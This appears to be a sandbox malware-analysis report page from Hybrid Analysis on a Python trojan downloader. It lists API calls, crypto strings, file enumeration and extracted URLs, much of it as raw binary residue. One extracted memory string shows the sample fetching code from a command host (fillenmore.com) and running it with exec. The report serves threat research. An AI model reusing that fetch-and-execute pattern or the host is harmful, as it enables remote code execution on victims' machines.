26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 55:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4c5,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Python/TrojanDownloader.Agent Sample 62a6e64a7233… — Score 85/100 — Hybrid Analysis","description":"Malicious verdict for sample 62a6e64a7233…. Malware family: Python/TrojanDownloader.Agent. Threat score 85/100. 1/27 AV engines flagged this file. 3 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/62a6e64a7233f4a756d01c54840ff703a620a416929d57eebc0bdac3b9ed2019","keywords":["Malicious","Python/TrojanDownloader.Agent","malware analysis","sandbox report","threat intelligence","62a6e64a7233f4a756d01c54840ff703a620a416929d57eebc0bdac3b9ed2019"],"about":{"@type":"SoftwareApplication","name":"onboardingAccess.exe","applicationCategory":["compressed","7zip"],"identifier":"62a6e64a7233f4a756d01c54840ff703a620a416929d57eebc0bdac3b9ed2019","additionalType":"Malicious sample"},"threatScore":85,"malwareFamily":"Python/TrojanDownloader.Agent","antivirusDetections":{"malicious":1,"total":27},"behavioralIndicators":{"malicious":3,"suspicious":17},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T9a3,Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "62a6e64a7233f4a756d01c54840ff703a620a416929d57eebc0bdac3b9ed2019.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "62a6e64a7233f4a756d01c54840ff703a620a416929d57eebc0bdac3b9ed2019.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006700.00000000.193660.00822000.00000002.mdmp, 00000000-00006700.00000000.193660.71B15000.00000002.mdmp, 00000000-00006700.00000000.193660.71BD7000.00000002.mdmp, 00000000-00006700.00000000.193660.71C80000.00000002.mdmp, 00000000-00006700.00000000.193660.71F6C000.00000002.mdmp, 00000000-00006700.00000000.193660.7232E000.00000002.mdmp, 00000000-00006700.00000000.193660.72346000.00000002.mdmp, 00000000-00006700.00000000.193660.72353000.00000002.mdmp, 00000000-00006700.00000000.193660.72369000.00000002.mdmp, 00000000-00006700.00000000.193660.726B9000.00000002.mdmp, 00000000-00006700.00000000.193660.726ED000.00000002.mdmp, 00000000-00006700.00000000.193660.727D2000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006700.00000000.193660.00822000.00000002.mdmp, 00000000-00006700.00000000.193660.71B15000.00000002.mdmp, 00000000-00006700.00000000.193660.71BD7000.00000002.mdmp, 00000000-00006700.00000000.193660.71C80000.00000002.mdmp, 00000000-00006700.00000000.193660.71F6C000.00000002.mdmp, 00000000-00006700.00000000.193660.7232E000.00000002.mdmp, 00000000-00006700.00000000.193660.72346000.00000002.mdmp, 00000000-00006700.00000000.193660.72353000.00000002.mdmp, 00000000-00006700.00000000.193660.72369000.00000002.mdmp, 00000000-00006700.00000000.193660.726B9000.00000002.mdmp, 00000000-00006700.00000000.193660.726ED000.00000002.mdmp, 00000000-00006700.00000000.193660.727D2000.00000002.mdmp") Found reference to API "BatchedWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00006700.00000000.193660.05790000.00000004.mdmp, 00000000-00006700.00000000.193660.71F6C000.00000002.mdmp") Found reference to API "rWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00006700.00000000.193660.05790000.00000004.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00006700.00000000.193660.05790000.00000004.mdmp, 00000000-00006700.00000000.193660.71F6C000.00000002.mdmp")28:Tcdc,file/memory contains long string with (Indicator: "SHA384"; File: "libffi-8.dll") file/memory contains long string with (Indicator: "HMAC"; File: "_hashlib.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_hashlib.pyd") file/memory contains long string with (Indicator: "SHA512"; File: "_hashlib.pyd") Found reference to "RC2-CBC" (Indicator: "RC2"; Source: "00000000-00006700.00000000.193660.03235000.00000004.mdmp, 00000000-00006700.00000000.193660.725E5000.00000002.mdmp") Found reference to "SHA512-224" (Indicator: "SHA512"; Source: "00000000-00006700.00000000.193660.032A0000.00000004.mdmp, 00000000-00006700.00000000.193660.72346000.00000002.mdmp, 00000000-00006700.00000000.193660.725E5000.00000002.mdmp") Found reference to "SHA512-256" (Indicator: "SHA512"; Source: "00000000-00006700.00000000.193660.032A0000.00000004.mdmp, 00000000-00006700.00000000.193660.72346000.00000002.mdmp, 00000000-00006700.00000000.193660.725E5000.00000002.mdmp") Found reference to "The object used to calculate HMAC of a message." (Indicator: "HMAC"; Source: "00000000-00006700.00000000.193660.05710000.00000004.mdmp, 00000000-00006700.00000000.193660.72346000.00000002.mdmp") Found reference to "EXPECTING_AN_HMAC_KEY" (Indicator: "HMAC"; Source: "00000000-00006700.00000000.193660.05800000.00000004.mdmp, 00000000-00006700.00000000.193660.726ED000.00000002.mdmp") Found reference to "HMAC" (Indicator: "HMAC"; Source: "00000000-00006700.00000000.193660.05800000.00000004.mdmp, 00000000-00006700.00000000.193660.058D1000.00000004.mdmp, 00000000-00006700.00000000.193660.05950000.00000004.mdmp, 00000000-00006700.00000000.193660.71C61000.00000002.mdmp, 00000000-00006700.00000000.193660.72346000.00000002.mdmp, 00000000-00006700.00000000.193660.725E5000.00000002.mdmp, 00000000-00006700.00000000.193660.726ED000.00000002.mdmp") Found reference to "HKDF" (Indicator: "HKDF"; Source: "00000000-00006700.00000000.193660.058D1000.00000004.mdmp, 00000000-00006700.00000000.193660.725E5000.00000002.mdmp") Found reference to "SSHKDF" (Indicator: "HKDF"; Source: "00000000-00006700.00000000.193660.058D1000.00000004.mdmp, 00000000-00006700.00000000.193660.725E5000.00000002.mdmp") Found reference to "HMAC-DRBG" (Indicator: "HMAC"; Source: "00000000-00006700.00000000.193660.058D1000.00000004.mdmp, 00000000-00006700.00000000.193660.725E5000.00000002.mdmp") Found reference to "hlib.HMAC" (Indicator: "HMAC"; Source: "00000000-00006700.00000000.193660.05950000.00000004.mdmp") Found reference to "SHA384" (Indicator: "SHA384"; Source: "00000000-00006700.00000000.193660.05950000.00000004.mdmp, 00000000-00006700.00000000.193660.71C61000.00000002.mdmp, 00000000-00006700.00000000.193660.72346000.00000002.mdmp, 00000000-00006700.00000000.193660.725E5000.00000002.mdmp") Found reference to "SHA512" (Indicator: "SHA512"; Source: "00000000-00006700.00000000.193660.05950000.00000004.mdmp, 00000000-00006700.00000000.193660.72346000.00000002.mdmp, 00000000-00006700.00000000.193660.725E5000.00000002.mdmp") Found reference to "object used to calculate HMAC of a message." (Indicator: "HMAC"; Source: "00000000-00006700.00000000.193660.059B0000.00000004.mdmp") Found reference to "RC2D" (Indicator: "RC2"; Source: "00000000-00006700.00000000.193660.71B15000.00000002.mdmp")29:T941," (socket object, socket object)" (Indicator: " socket "; Source: "00000000-00006700.00000000.193660.05790000.00000004.mdmp")44:T144b,Heuristic match: "2p*.ga" Heuristic match: "/jn.qa" Heuristic match: "zts.sl" Heuristic match: "ig.cc" Pattern match: "http://nsis.sf.net/nsis_error" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Pattern match: "www.microsoft.com/pkiops/crl/microsoft%20windows%20third%20party%20component%20ca%202013.crl0u0s0qehttp://www.microsoft.com/pkiops/certs/microsoft%20windows%20third%20party%20component%20ca%202013.crt0*g" Pattern match: "http://schemas.openxmlformats.org/package/2006/relationships" Pattern match: "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c" Pattern match: "ugcz8.ariq/=dw*snjg-" Pattern match: "http://www.w3.org/xml/1998/namespacecdatanotation" Pattern match: "utcs.ju/sa\p" Pattern match: "www.memtest86.com" Heuristic match: "fillenmore.com" Pattern match: "myimport.zip/mydirectory" Heuristic match: "c:\users\hapubws\appdata\local\temp\0495a872-ac70-4d10-a9b6-a75588f0f758\python\lib\importlib\_bootstrap_external.py" Heuristic match: "c:\users\hapubws\appdata\local\temp\0495a872-ac70-4d10-a9b6-a75588f0f758\python\lib\io.py" Heuristic match: "c:\users\hapubws\appdata\local\temp\0495a872-ac70-4d10-a9b6-a75588f0f758\python\lib\abc.py" Heuristic match: "__init__.py" Pattern match: "https://fillenmore.com/e1d81cee-4f54-5657-bed7-2001856b88f2/config5" Heuristic match: "c:\users\hapubws\appdata\local\temp\0495a872-ac70-4d10-a9b6-a75588f0f758\python\lib\zipimport.py" Heuristic match: "c:\users\hapubws\appdata\local\temp\0495a872-ac70-4d10-a9b6-a75588f0f758\python\lib\codecs.py" Heuristic match: "\__init__.py" Heuristic match: "encodings\__init__.py" Heuristic match: "encodings\aliases.py" Heuristic match: "c:\users\hapubws\appdata\local\temp\0495a872-ac70-4d10-a9b6-a75588f0f758\python\lib\_collections_abc.py" Heuristic match: "rencodings\utf_8.py" Heuristic match: "rencodings\cp1252.py" Heuristic match: "re\__init__.py" Heuristic match: "base64.py" Heuristic match: "enum.py" Heuristic match: "enum.name" Heuristic match: "functools.py" Heuristic match: "collections\__init__.py" Heuristic match: "``_concatenategenericalias`` from typing.py" Heuristic match: "keyword.py" Heuristic match: "operator.py" Heuristic match: "reprlib.py" Heuristic match: "types.py" Heuristic match: "c:\users\hapubws\appdata\local\temp\0495a872-ac70-4d10-a9b6-a75588f0f758\python\lib\ntpath.py" Heuristic match: "c:\users\hapubws\appdata\local\temp\0495a872-ac70-4d10-a9b6-a75588f0f758\python\lib\genericpath.py" Heuristic match: "rre\_compiler.py" Heuristic match: "f#.gd" Heuristic match: "rre\_parser.py" Heuristic match: "rre\_constants.py" Heuristic match: "rre\_casefix.py" Heuristic match: "c:\users\hapubws\appdata\local\temp\0495a872-ac70-4d10-a9b6-a75588f0f758\python\lib\stat.py" Heuristic match: "c:\users\hapubws\appdata\local\temp\0495a872-ac70-4d10-a9b6-a75588f0f758\python\lib\os.py" Heuristic match: "copyreg.py" Heuristic match: "struct.py" Heuristic match: "ssl.py" Heuristic match: "jf.td" Heuristic match: "socket.py" Heuristic match: "socketio.name" Heuristic match: "rselectors.py" Heuristic match: "lzma.py" Heuristic match: "lzmafile.name" Heuristic match: "illenmore.com" Heuristic match: "warnings.py" Heuristic match: "rurllib\__init__.py" Heuristic match: "urllib\request.py" Heuristic match: "email\__init__.py" Heuristic match: "rbisect.py" Heuristic match: "hashlib.py" Heuristic match: "rhttp\__init__.py" Heuristic match: "http\client.py" Heuristic match: "httpresponse.info" Heuristic match: "email\parser.py" Heuristic match: "email\feedparser.py" Heuristic match: "email\_policybase.py" Heuristic match: "email\errors.py" Heuristic match: "email\header.py" Heuristic match: "string.py" Heuristic match: "email\quoprimime.py" Heuristic match: "remail\base64mime.py" Heuristic match: "email\charset.py" Heuristic match: "quopri.py" Heuristic match: "email\encoders.py" Heuristic match: "email\utils.py" Heuristic match: "datetime.py" Heuristic match: "urllib\parse.py" Heuristic match: "ripaddress.py" Heuristic match: ".ip6.arpa" Heuristic match: ".in-addr.arpa" Heuristic match: "remail\_parseaddr.py" Heuristic match: "dr.py" Heuristic match: "remail\message.py" Heuristic match: "email\_encoded_words.py" Heuristic match: "c:\users\hapubws\appdata\local\temp\0495a872-ac70-4d10-a9b6-a75588f0f758\python\lib\posixpath.py" Heuristic match: "remail\iterators.py" Heuristic match: "spooledtemporaryfile.name" Heuristic match: "tempfile.py" Heuristic match: "shutil.py" Heuristic match: "bz2file.name" Heuristic match: "r_compression.py" Heuristic match: "fnmatch.py" Heuristic match: "bz2.py" Heuristic match: "random.py" Heuristic match: "weakref.py" Heuristic match: "r_weakrefset.py" Heuristic match: "contextlib.py" Heuristic match: "rurllib\error.py" Heuristic match: "runicodedata\__init__.py" Heuristic match: "urllib\response.py" Heuristic match: "addinfo.info" Heuristic match: "rnturl2path.py" Heuristic match: "encodings\idna.py" Heuristic match: "rstringprep.py" Heuristic match: ")a,.at" Heuristic match: "ver two dot.re" Heuristic match: "punctuation kundd(.dm"45:T5b1,Found URL "https://fillenmore.com/e1d81cee-4f54-5657-bed7-2001856b88f2/config5'meta" - Source: "00000000-00006700.00000000.193660.055A0000.00000004.mdmp") Found URL "https://fillenmore.com/e1d81cee-4f54-5657-bed7-2001856b88f2/config5set_handle_inheritable_namespacepath.__init___find_parent_path_nameszg" - Source: "00000000-00006700.00000000.193660.055A0000.00000004.mdmp") Found URL "https://fillenmore.com/e1d81cee-4f54-5657-bed7-2001856b88f2/config5').read().decode('utf-8')time.sleep(2.1)exec(c)a$uuub/uuuadd" - Source: "00000000-00006700.00000000.193660.05710000.00000004.mdmp") Found URL "ftp://ftp.unicode.org/.the" - Source: "00000000-00006700.00000000.193660.05A90000.00000004.mdmp") Found URL "ftp://ftp.unicode.org/.the" - Source: "00000000-00006700.00000000.193660.71B15000.00000002.mdmp") Found URL "https://www.openssl.org/filedescriptionopenssl" - Source: "00000000-00006700.00000000.193660.71C80000.00000002.mdmp") Found URL "https://www.python.org/psf/license/)_printerrdirnamer$extendrpardircurdirrfilesdirsheres" - Source: "00000000-00006700.00000000.193660.71F6C000.00000002.mdmp") Found URL "https://peps.python.org/pep-0263/" - Source: "00000000-00006700.00000000.193660.71F6C000.00000002.mdmp") Found URL "http://%shttp://%s" - Source: "00000000-00006700.00000000.193660.725E5000.00000002.mdmp") Found URL "https://www.openssl.org/filedescriptionopenssl" - Source: "00000000-00006700.00000000.193660.726B9000.00000002.mdmp")46:T904,"pythonw.exe" called "FindFirstFileW" with parameter %TEMP%\0495a872-ac70-4d10-a9b6-a75588f0f758\python\*.* (UID: 00000000-00006700) "pythonw.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00006700) "pythonw.exe" called "FindNextFileW" with parameter libcrypto-3.dll (UID: 00000000-00006700) "pythonw.exe" called "FindNextFileW" with parameter libffi-8.dll (UID: 00000000-00006700) "pythonw.exe" called "FindNextFileW" with parameter libssl-3.dll (UID: 00000000-00006700) "pythonw.exe" called "FindNextFileW" with parameter LICENSE.txt (UID: 00000000-00006700) "pythonw.exe" called "FindNextFileW" with parameter pyexpat.pyd (UID: 00000000-00006700) "pythonw.exe" called "FindNextFileW" with parameter python.cat (UID: 00000000-00006700) "pythonw.exe" called "FindNextFileW" with parameter python.exe (UID: 00000000-00006700) "pythonw.exe" called "FindNextFileW" with parameter python3.dll (UID: 00000000-00006700) "pythonw.exe" called "FindNextFileW" with parameter python313.dll (UID: 00000000-00006700) "pythonw.exe" called "FindNextFileW" with parameter python313.zip (UID: 00000000-00006700) "pythonw.exe" called "FindNextFileW" with parameter python313._pth (UID: 00000000-00006700) "pythonw.exe" called "FindNextFileW" with parameter pythonw.exe (UID: 00000000-00006700) "pythonw.exe" called "FindNextFileW" with parameter select.pyd (UID: 00000000-00006700) "pythonw.exe" called "FindNextFileW" with parameter sqlite3.dll (UID: 00000000-00006700) "pythonw.exe" called "FindNextFileW" with parameter unicodedata.pyd (UID: 00000000-00006700) "pythonw.exe" called "FindNextFileW" with parameter vcruntime140.dll (UID: 00000000-00006700) "pythonw.exe" called "FindNextFileW" with parameter winsound.pyd (UID: 00000000-00006700) "pythonw.exe" called "FindNextFileW" with parameter _asyncio.pyd (UID: 00000000-00006700) "pythonw.exe" called "FindNextFileW" with parameter _bz2.pyd (UID: 00000000-00006700) "pythonw.exe" called "FindNextFileW" with parameter _ctypes.pyd (UID: 00000000-00006700) "pythonw.exe" called "FindNextFileW" with parameter _decimal.pyd (UID: 00000000-00006700) "pythonw.exe" called "FindNextFileW" with parameter _elementtree.pyd (UID: 00000000-00006700) "pythonw.exe" called "FindNextFileW" with parameter _hashlib.pyd (UID: 00000000-00006700)47:Tb27,file/memory contains long string with (Indicator: "aes"; File: "chalkline.txt") file/memory contains long string with (Indicator: "aes"; File: "translate_en.json") file/memory contains long string with (Indicator: "aes"; File: "tabernacling.json") file/memory contains long string with (Indicator: "aes"; File: "okapis.txt") file/memory contains long string with (Indicator: "aes"; File: "config.json") file/memory contains long string with (Indicator: "aes"; File: "translate_en-ie.json") file/memory contains long string with (Indicator: "aes"; File: "translate_ji.json") file/memory contains long string with (Indicator: "aes"; File: "translate_ve.json") file/memory contains long string with (Indicator: "serpent"; File: "translate_ve.json") file/memory contains long string with (Indicator: "aes"; File: "translate_en-jm.json") file/memory contains long string with (Indicator: "aes"; File: "translate_ko.json") file/memory contains long string with (Indicator: "aes"; File: "translate_wa.json") file/memory contains long string with (Indicator: "aes"; File: "translate_ny.json") file/memory contains long string with (Indicator: "aes"; File: "donnishly.json") file/memory contains long string with (Indicator: "aes"; File: "translate_it-it.json") file/memory contains long string with (Indicator: "serpent"; File: "translate_it-it.json") file/memory contains long string with (Indicator: "aes"; File: "imaginate.json") file/memory contains long string with (Indicator: "chacha"; File: "translate_ln.json") file/memory contains long string with (Indicator: "aes"; File: "translate_en-tt.json") file/memory contains long string with (Indicator: "serpent"; File: "translate_en-tt.json") file/memory contains long string with (Indicator: "aes"; File: "leapt.json") file/memory contains long string with (Indicator: "swordfish"; File: "translate_fj.json") file/memory contains long string with (Indicator: "serpent"; File: "translate_syr.json") file/memory contains long string with (Indicator: "aes"; File: "translate_bo.json") file/memory contains long string with (Indicator: "aes"; File: "adlumidine.txt") file/memory contains long string with (Indicator: "b64decode"; File: "adlumidine.txt") file/memory contains long string with (Indicator: "base64"; File: "adlumidine.txt") file/memory contains long string with (Indicator: "aes"; File: "reencouraging.json") Found string "AES-128-CBC" (Indicator: "aes"; Source: "00000000-00006700.00000000.193660.032A0000.00000004.mdmp, 00000000-00006700.00000000.193660.058BB000.00000004.mdmp, 00000000-00006700.00000000.193660.725E5000.00000002.mdmp") Found string "AES-192-OFB" (Indicator: "aes"; Source: "00000000-00006700.00000000.193660.032A0000.00000004.mdmp, 00000000-00006700.00000000.193660.058BB000.00000004.mdmp, 00000000-00006700.00000000.193660.725E5000.00000002.mdmp")48:T999,Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "62a6e64a7233f4a756d01c54840ff703a620a416929d57eebc0bdac3b9ed2019.bin") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "62a6e64a7233f4a756d01c54840ff703a620a416929d57eebc0bdac3b9ed2019.bin") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "62a6e64a7233f4a756d01c54840ff703a620a416929d57eebc0bdac3b9ed2019.bin") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00006700.00000000.193660.00822000.00000002.mdmp, 00000000-00006700.00000000.193660.05790000.00000004.mdmp, 00000000-00006700.00000000.193660.71B15000.00000002.mdmp, 00000000-00006700.00000000.193660.71BD7000.00000002.mdmp, 00000000-00006700.00000000.193660.71C80000.00000002.mdmp, 00000000-00006700.00000000.193660.71F6C000.00000002.mdmp, 00000000-00006700.00000000.193660.7232E000.00000002.mdmp, 00000000-00006700.00000000.193660.72346000.00000002.mdmp, 00000000-00006700.00000000.193660.72353000.00000002.mdmp, 00000000-00006700.00000000.193660.72369000.00000002.mdmp, 00000000-00006700.00000000.193660.726B9000.00000002.mdmp, 00000000-00006700.00000000.193660.726ED000.00000002.mdmp, 00000000-00006700.00000000.193660.727D2000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00006700.00000000.193660.00822000.00000002.mdmp, 00000000-00006700.00000000.193660.71B15000.00000002.mdmp, 00000000-00006700.00000000.193660.71BD7000.00000002.mdmp, 00000000-00006700.00000000.193660.71C80000.00000002.mdmp, 00000000-00006700.00000000.193660.71F6C000.00000002.mdmp, 00000000-00006700.00000000.193660.7232E000.00000002.mdmp, 00000000-00006700.00000000.193660.72346000.00000002.mdmp, 00000000-00006700.00000000.193660.72353000.00000002.mdmp, 00000000-00006700.00000000.193660.72369000.00000002.mdmp, 00000000-00006700.00000000.193660.726B9000.00000002.mdmp, 00000000-00006700.00000000.193660.726ED000.00000002.mdmp, 00000000-00006700.00000000.193660.727D2000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00006700.00000000.193660.00822000.00000002.mdmp, 00000000-00006700.00000000.193660.71C80000.00000002.mdmp, 00000000-00006700.00000000.193660.71F6C000.00000002.mdmp, 00000000-00006700.00000000.193660.726B9000.00000002.mdmp, 00000000-00006700.00000000.193660.727D2000.00000002.mdmp")49:T4d5,Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "62a6e64a7233f4a756d01c54840ff703a620a416929d57eebc0bdac3b9ed2019.bin") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "62a6e64a7233f4a756d01c54840ff703a620a416929d57eebc0bdac3b9ed2019.bin") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "62a6e64a7233f4a756d01c54840ff703a620a416929d57eebc0bdac3b9ed2019.bin") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; File: "62a6e64a7233f4a756d01c54840ff703a620a416929d57eebc0bdac3b9ed2019.bin") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "62a6e64a7233f4a756d01c54840ff703a620a416929d57eebc0bdac3b9ed2019.bin") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; File: "62a6e64a7233f4a756d01c54840ff703a620a416929d57eebc0bdac3b9ed2019.bin") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; File: "62a6e64a7233f4a756d01c54840ff703a620a416929d57eebc0bdac3b9ed2019.bin") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; File: "62a6e64a7233f4a756d01c54840ff703a620a416929d57eebc0bdac3b9ed2019.bin")4a:T7d3,Found string "secrets" (Indicator: "secret"; Source: "00000000-00006700.00000000.193660.05560000.00000004.mdmp, 00000000-00006700.00000000.193660.71F6C000.00000002.mdmp") Found string "secrets.pyc" (Indicator: "secret"; Source: "00000000-00006700.00000000.193660.055A0000.00000004.mdmp") Found string "C:\Users\HAPUBWS\AppData\Local\Temp\0495a872-ac70-4d10-a9b6-a75588f0f758\python\python313.zip\secrets.pyc" (Indicator: "secret"; Source: "00000000-00006700.00000000.193660.055A0000.00000004.mdmp") Found string "HTTPPasswordMgr.add_password" (Indicator: "password"; Source: "00000000-00006700.00000000.193660.05800000.00000004.mdmp") Found string "HTTPPasswordMgr.find_user_password" (Indicator: "password"; Source: "00000000-00006700.00000000.193660.05800000.00000004.mdmp") Found string "HTTPPasswordMgr.add_password.." (Indicator: "password"; Source: "00000000-00006700.00000000.193660.05950000.00000004.mdmp") Found string "HTTPPasswordMgrWithDefaultRealm.find_user_password" (Indicator: "password"; Source: "00000000-00006700.00000000.193660.05950000.00000004.mdmp") Found string "add_password" (Indicator: "password"; Source: "00000000-00006700.00000000.193660.05950000.00000004.mdmp") Found string "find_user_password" (Indicator: "password"; Source: "00000000-00006700.00000000.193660.05950000.00000004.mdmp") Found string "password_mgr" (Indicator: "password"; Source: "00000000-00006700.00000000.193660.05950000.00000004.mdmp") Found string "HTTPPasswordMgrWithPriorAuth.add_password" (Indicator: "password"; Source: "00000000-00006700.00000000.193660.05950000.00000004.mdmp") Found string "Enter password for" (Indicator: "password"; Source: "00000000-00006700.00000000.193660.05950000.00000004.mdmp") Found string "_NetlocResultMixinBase.password" (Indicator: "password"; Source: "00000000-00006700.00000000.193660.059B0000.00000004.mdmp") Found string "have_password" (Indicator: "password"; Source: "00000000-00006700.00000000.193660.059B0000.00000004.mdmp")4b:T493,Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "62a6e64a7233f4a756d01c54840ff703a620a416929d57eebc0bdac3b9ed2019.bin") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00006700.00000000.193660.00822000.00000002.mdmp, 00000000-00006700.00000000.193660.05790000.00000004.mdmp, 00000000-00006700.00000000.193660.71B15000.00000002.mdmp, 00000000-00006700.00000000.193660.71BD7000.00000002.mdmp, 00000000-00006700.00000000.193660.71C80000.00000002.mdmp, 00000000-00006700.00000000.193660.71F6C000.00000002.mdmp, 00000000-00006700.00000000.193660.7232E000.00000002.mdmp, 00000000-00006700.00000000.193660.72346000.00000002.mdmp, 00000000-00006700.00000000.193660.72353000.00000002.mdmp, 00000000-00006700.00000000.193660.72369000.00000002.mdmp, 00000000-00006700.00000000.193660.726B9000.00000002.mdmp, 00000000-00006700.00000000.193660.726ED000.00000002.mdmp, 00000000-00006700.00000000.193660.727D2000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00006700.00000000.193660.05790000.00000004.mdmp, 00000000-00006700.00000000.193660.71F6C000.00000002.mdmp")4c:Ta0d,"-u(QSVW>>t@_^[]>tu_^[]_^[]_^[]_^[]}1_^0_^3[_^][_^][_^][_^][_^]>]u![_^]^_[]^_[]A^_[uEA+A^_[^_[]^_[]^_[]A^_[u1A+SVW3ACACub;}tW;N>u >>t;QSVW_^[]_^[]_^[]>]u=QSVW[_^][_^][_^][_^][_^]>]u'[_^][_^][_^][_^]> u1VW8P8xuO)Return a new XML parser object.SetReparseDeferralEnabled($self, enabled, /)Enable/Disable reparse deferral; enabled by default with Expat >=2.6.0.UseForeignDTD($self, flag=True, /)Allows the application to provide an artificial external subset if one is not specified as part of the document instance.This readily allows the use of a 'default' document type controlled by theapplication, while still getting the advantage of providing document typeinformation to the parser. 'flag' defaults to True if not provided.ExternalEntityParserCreate($self, context, encoding=, /)Create a parser for parsing an external entity based on the information passed to the ExternalEntityRefHandler.GetBase($self, /)Return base URL string for the parser. !"#$%&'()*+ -./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ErrorString($module, code, /)Returns string error for given number.Python wrapper for Expat parser.XML parserGetReparseDeferralEnabled($self, /)Retrieve reparse deferral enabled status; always returns false with Expat <2.6.0.SetParamEntityParsing($self, flag, /)Controls parsing of parameter entities (including the external DTD subset).Possible flag values are XML_PARAM_ENTITY_PARSING_NEVER XML_PARAM_ENTITY_PARSING_UNLESS_STANDALONE andXML_PARAM_ENTITY_PARSING_ALWAYS. Returns true if setting the flagwas successful.NMTOKENSk"F/ca./r/Q'q\s3jvNMTOKENIDREFIDREFSxml=http://www.w3.org/XML/1998/namespaceCDATANOTATION(http://www.w3.org/2000/xmlns/ENTITYENTITIEShttp://www.w3.org/XML/1998/namespaceNMTOKENEMPTYNDATANOTATIONENTITYPUBLICIDREFSPCDATASYSTEMREQUIREDNMTOKENSDOCTYPEELEMENTCDATAIMPLIEDINCLUDEATTLISTENTITIESIDREFIGNOREFIXEDCDATA[ !"# !"# !"# !"#UTF-8 !"#version !"# !"# !"#$% !"#UTF-16UTF-16LE !"# !"# !"#UTF-16BE !"#US-ASCIICDATA[encodingstandaloneCDATA[ISO-8859-1 !"# !"#expat: Allocations(%p): Direct %10I64u allocated %c%10I64u to %10I64u (%10I64u peak) amplification %8.2f (xmlparse.c:%d)EXPAT_ENTROPY_DEBUGexpat: Entropy: %s --> 0x%0*lx (%lu bytes)rand_sfallback(4)EXPAT_MALLOC_DEBUGEXPAT_ACCOUNTING_DEBUGEXPAT_ENTITY_DEBUGparser not startedexpat_2.7.3sizeof(XML_Char)sizeof(XML_LChar)XML_DTDXML_CONTEXT_BYTESXML_NSXML_BLAP_MAX_AMPXML_BLAP_ACT_THRESXML_GEXML_AT_MAX_AMPXML_AT_ACT_THRESexpat: Accounting(%p): Direct %10I64u indirect %10I64u amplification %8.2f%s ABORTING (+%6d bytes %s|%u, xmlparse.c:%d) %*s"[..]expat: Entities(%p): Count %9u, depth %2u/%2u %*s%s%s; %s length %d (xmlparse.c:%d)OPEN CLOSE\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F\x7F\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\xBF\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE\xDF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\xF0\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\xFD\xFE\xFFRSDSb6 